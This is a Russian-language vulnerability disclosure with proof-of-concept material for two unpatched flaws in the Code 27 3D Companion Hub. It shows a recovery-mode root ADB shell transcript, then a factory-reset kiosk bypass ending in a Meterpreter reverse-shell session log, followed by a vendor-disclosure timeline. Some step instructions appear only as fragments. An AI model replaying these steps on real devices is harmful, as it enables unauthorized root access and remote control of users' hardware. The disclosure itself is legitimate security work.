
Proof of concept for CVE-2026-36027 and CVE-2026-36028
Code 27 3D Companion Hub — это физическое настольное устройство, отображающее пользовательского ИИ-персонажа («Коди») в виде анимированного 3D-компаньона. Пользователи могут загружать или создавать любые 3D-модели, а мультимодальный ИИ позволяет персонажу видеть окружающую обстановку, распознавать тон и язык тела, а также вести свободные беседы.
В этом материале описаны две уязвимости, требующие физического доступа к устройству. Обе были проверены на указанной ниже сборке и на момент публикации остаются неисправленными.
| Поле | Значение |
|---|---|
| Продукт | Code 27 3D Companion Hub |
| Версия Companion Hub UI | 1.2.0 |
| SoC / плата | Rockchip RK3588S (rk3588s_yt921) |
| ОС | Android 12 |
| ID сборки | SQ3A.220705.003.A1 |
| Полный fingerprint | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Тип сборки | userdebug / release-keys |
В поставляемой прошивке используется userdebug-сборка (видно в баннере recovery и в ro.build.display.id). Сборки userdebug позволяют перезапускать adbd с правами root через adb root, что является ключевым фактором для существования CVE-2026-36027.
Физически близкий злоумышленник может загрузить Companion Hub в режим восстановления Android и получить оболочку ADB с привилегиями root (uid=0, контекст SELinux u:r:su:s0). Поскольку устройство поставляется с userdebug-сборкой, adbd можно перезапустить с правами root с помощью adb root, что даёт злоумышленнику доступ на чтение/запись к среде восстановления, возможность перечислять свойства сборки и оборудования, а также доступ к функциям recovery (sideload, fastboot, работа с разделами).
Полученный доступ осуществляется в рамках ramdisk recovery, а не в работающей среде Android. В ходе тестирования действие Mount /system в recovery завершилось неудачей (libfs_mgr не смог открыть /dev/block/by-name/system), поэтому системный раздел не был напрямую смонтирован через этот путь, а загруженное пользовательское окружение с киоском и любыми расшифрованными пользовательскими данными в этом режиме не отображается.
Тем не менее это важно, потому что root-доступ к среде восстановления является основой для изменения постоянного состояния устройства (например, записи в разделы или установки специально созданного пакета обновлений), чтобы код злоумышленника мог запуститься при последующей обычной загрузке, тем самым закрепившись на работающем устройстве.
Mount /system, подсветите его и подтвердите. Операция, скорее всего, завершится ошибкой. Это ожидаемо, и эксплойт всё равно сработает. (В логах recovery будет сообщение libfs_mgr о невозможности открыть /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
Сброс до заводских настроек, выполненный из меню recovery, стирает раздел userdata, в котором установлены приложения киоска. Поскольку киоск не является частью системного раздела, он не восстанавливается при перезагрузке, и устройство загружается в стандартную, неограниченную среду Android (лаунчер, веб-браузер, файловый менеджер, настройки и другие системные приложения).
Из этой неограниченной среды злоумышленник может снова включить параметры разработчика/отладку по USB, загрузить произвольный APK и выполнить его, получив оболочку на работающей операционной системе. В ходе тестирования это дало сессию meterpreter, работающую от имени непривилегированного пользователя приложения u0_a79 — другой контекст привилегий и данных по сравнению с root-оболочкой в режиме recovery из CVE-2026-36027, поскольку она выполняется на загруженной в обычном режиме ОС, а не на ramdisk recovery. Код, внедрённый и запущенный в таком состоянии, выполняется как часть нормальной работы устройства, предоставляя злоумышленнику интерактивный контроль над устройством и его пользовательской файловой системой.
Wipe data/factory reset и подтвердите сброс.
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| Дата | Событие |
|---|
| 2026-02-17 | Обе уязвимости раскрыты команде Code 27 и подтверждены. |
| 2026-02-17 | Обе 0-day уязвимости сообщены в MITRE. |
| 2026-02-18 | Команда Code 27 обсудила план устранения, собрала дополнительную информацию и заявила, что исправление будет выпущено. |
| 2026-06-15 | MITRE назначает CVE-2026-36027 и CVE-2026-36028. |
| 2026-06-15 | Code 27 уведомлён о назначении; первоначальный контакт передаёт информацию группе безопасности для проверки сборки. |
| 2026-06-16 | Группа безопасности Code 27 снова запрашивает полные технические детали. |
| 2026-06-17 | Полные технические детали снова предоставлены группе безопасности. |
| 2026-06-18 | Ответа от группы безопасности нет. |
| 2026-06-19 | Представитель Code 27 заявляет, что компаниям обычно даётся 90 дней на устранение проблем безопасности, и что группа безопасности уже в курсе. Представителю сообщают, что проблемы были сообщены более 120 дней назад. Установлен срок раскрытия — 1 июля. |
| 2026-06-25 | Связались с группой безопасности Code 27 для подтверждения окончательного предупреждения о сроке и публикации. |
| 2026-06-28 | Code 27 приносит извинения, подтверждает идентификаторы CVE и срок раскрытия, заявляет, что публичное уведомление и ссылка будут отправлены до 1 июля. |
| 2026-07-01 | Связались с Code 27 по поводу статуса уведомления; ответа нет. |
| 2026-07-02 | Опубликованы детали неисправленных уязвимостей. |